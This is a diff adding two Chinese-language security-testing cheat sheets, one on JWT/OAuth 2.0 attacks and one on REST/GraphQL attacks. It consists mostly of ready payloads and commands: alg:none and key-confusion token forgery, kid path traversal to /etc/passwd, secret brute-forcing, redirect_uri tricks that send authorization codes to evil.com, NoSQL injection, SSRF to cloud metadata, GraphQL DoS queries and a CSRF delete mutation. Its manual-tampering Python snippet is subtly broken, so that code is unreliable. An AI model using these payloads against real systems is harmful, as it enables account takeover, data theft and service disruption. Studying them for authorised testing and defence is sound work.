reverse-skills-max: initial public release (restored, redacted, hardened)
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# JWT + OAuth 2.0 安全测试
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## JWT 攻击面
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### 1. 算法混淆
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```bash
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# alg:none — 最经典
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# 原始: {"alg":"RS256","typ":"JWT"}.payload.signature
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# 攻击: {"alg":"none","typ":"JWT"}.payload. (空签名)
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# RS256 → HS256 密钥混淆
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# 如果服务端用 RS256 公钥做 HS256 验证
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# 可以把公钥当 HMAC 密钥来签名
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python3 jwt_tool.py <JWT> -X k -pk public.pem
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# kid 注入
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# {"alg":"HS256","kid":"../../../../etc/passwd"}
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# 服务端用 kid 指向的文件内容做 HMAC 密钥
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```
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### 2. jwt_tool 完整用法
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```bash
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# 全面扫描
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python3 jwt_tool.py <JWT> -t <URL> -cv "Authorization: Bearer <JWT>"
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# 弱密钥爆破
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python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
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# 声明篡改
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python3 jwt_tool.py <JWT> -I -pc role -pv admin
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python3 jwt_tool.py <JWT> -I -pc exp -pv 9999999999
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# RSA 密钥混淆
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python3 jwt_tool.py <JWT> -X k -pk public.pem
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# 嵌入 JWK
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python3 jwt_tool.py <JWT> -X i
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```
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### 3. 手工 JWT 篡改
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```python
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import jwt
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import base64
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# 解码(不验证)
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header, payload, sig = jwt.split('.')
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# 篡改 payload
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payload['role'] = 'admin'
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payload['exp'] = 9999999999
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# alg:none
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new_token = base64url_encode(header) + '.' + base64url_encode(payload) + '.'
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# HS256 with known key
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new_token = jwt.encode(payload, 'secret', algorithm='HS256')
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```
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## OAuth 2.0 攻击面
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### Authorization Code Grant
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```text
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1. redirect_uri 操控
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正常: https://app.com/callback?code=AUTH_CODE
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攻击: https://app.com/callback@evil.com?code=AUTH_CODE
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https://evil.com/?redirect=https://app.com/callback?code=AUTH_CODE
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开放重定向 + redirect_uri: https://app.com/callback?redirect=https://evil.com
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2. CSRF via state 缺失
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无 state 参数 → 攻击者用自己的 code 绑定受害者 session
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3. PKCE 缺失
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无 code_challenge → 授权码拦截攻击
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4. Token 在 Referer 泄漏
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回调页面加载外部资源 → Referer 头包含 code/token
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```
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### Implicit Grant(已废弃但仍有部署)
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```text
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1. access_token 在 URL fragment → Referer 泄漏
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2. token 在浏览器历史 → 物理访问风险
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3. 无客户端认证 → token 替换攻击
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```
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### Client Credentials Grant
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```text
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1. client_secret 泄漏(前端/移动端硬编码)
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2. 过度 scope 授予
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3. 无 client 限速 → 暴力枚举
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```
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### 通用 OAuth 测试
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```text
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□ 测试 scope 提升: scope=read → scope=read%20write
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□ Token 重放: 用旧的 access_token 访问新资源
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□ Refresh token 滥用: refresh_token 无限续期
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□ 跨租户访问: tenant A 的 token 访问 tenant B
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□ Token 在日志/URL/Referer 中泄漏
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```
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## 工具
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```bash
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# JWT 测试
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pip install jwt-tool pyjwt
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# OAuth 测试
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# Burp Suite + OAuth Scanner 扩展
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# Postman OAuth 2.0 流程测试
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# 自动化
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# Entropy: 自动 JWT 篡改 + OAuth redirect_uri 测试
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```
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Source: OWASP API Top 10 (API2: Broken Authentication), jwt_tool, PortSwigger OAuth research
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@@ -0,0 +1,137 @@
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# REST + GraphQL 深度测试
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## GraphQL 安全测试完整清单
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### 内省探测(三级降级)
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```graphql
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# Level 1 — 标准内省
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{ __schema { queryType { name } mutationType { name } types { name fields { name type { name } } } } }
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# Level 2 — 精简内省(绕过 WAF)
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{ __schema { types { name } } }
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# Level 3 — 最小探测
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{ __type(name: "Query") { name } }
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```
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### DoS 攻击向量
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```graphql
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# 别名过载
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query { a1: __typename a2: __typename ... a100: __typename }
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# 批查询过载
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[query1, query2, ..., query10]
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# 循环查询
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query { __schema { types { fields { type { fields { type { fields { name } } } } } } } }
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# 指令过载
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query { __typename @skip(if: false) @include(if: true) ... }
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```
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### 授权测试
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```graphql
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# GET 突变(CSRF)
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GET /graphql?query=mutation+{+deleteUser(id:1)+}
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# 批查询绕过认证
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[
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{ "query": "query { me { id } }" },
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{ "query": "mutation { deleteUser(id: 2) }" }
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]
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```
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## REST API 深度测试
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### 方法操控矩阵
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| 端点 | GET | POST | PUT | PATCH | DELETE | OPTIONS |
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|------|-----|------|-----|-------|--------|---------|
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| /users | ✓ 可访问 | 测试越权创建 | 测试批量覆盖 | 测试字段注入 | 测试级联删除 | 信息泄漏 |
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| /users/me | 基准 | — | 测试自我提权 | 测试字段追加 | 测试自我删除 | — |
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### 参数注入
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```json
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// NoSQL 注入
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{"username": {"$gt": ""}, "password": {"$ne": ""}}
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// 批量赋值
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{"email": "user@example.com", "role": "admin", "isAdmin": true}
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// 参数污染
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GET /api/users?role=user&role=admin
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// JSON 数组注入
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{"ids": [1, 2, 3]} → {"ids": ["1 UNION SELECT ..."]}
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```
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### SSRF via API
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```
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常见 SSRF 参数: webhook_url, callback_url, avatar_url, import_url,
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redirect_uri, file_url, proxy_url, image_url
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测试: http://169.254.169.254/latest/meta-data/ (AWS)
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http://metadata.google.internal/ (GCP)
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file:///etc/passwd
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```
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## 自动化工具链
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### Vespasian(流量驱动规范生成)
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```bash
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# 从无头浏览器爬取
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vespasian crawl --url https://target.com --depth 3
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# 从 Burp/HAR 导入
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vespasian import --file traffic.har
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# 导出 OpenAPI 3.0 + GraphQL SDL
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vespasian export --format openapi3 --output api-spec.yaml
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```
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### Entropy(LLM 攻击生成)
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```bash
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# 基于 spec 的自动测试
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entropy --spec api-spec.yaml --live --persona all
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# 五种并发人格:
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# - malicious_insider: IDOR/批量赋值/权限提升
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# - bot_swarm: 限速绕过/DoS/自动化滥用
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# - penetration_tester: 注入/认证绕过
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# - impatient_consumer: 竞态条件/错误处理
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# - confused_user: 意外输入/边界测试
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# CI 模式
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entropy --spec api-spec.yaml --ci --watch
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```
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### api.sh(8 阶段管道)
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```bash
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# Phase 1-3: GraphQL 侦察 → 利用 → 爆破
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./api.sh graphql-recon https://target.com/graphql
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./api.sh graphql-exploit https://target.com/graphql
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# Phase 4: REST 滥用
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./api.sh rest-abuse https://target.com/api
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# Phase 5: WebSocket
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./api.sh ws-test wss://target.com/ws
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# Phase 6: SOAP/XXE
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./api.sh soap-xxe https://target.com/soap
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# Phase 7: 限速绕过
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./api.sh rate-bypass https://target.com/api
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# Phase 8: Schema 收割
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./api.sh schema-harvest https://target.com
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```
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Source: OWASP API Top 10, Praetorian Vespasian, Entropy, FireTail GraphQL
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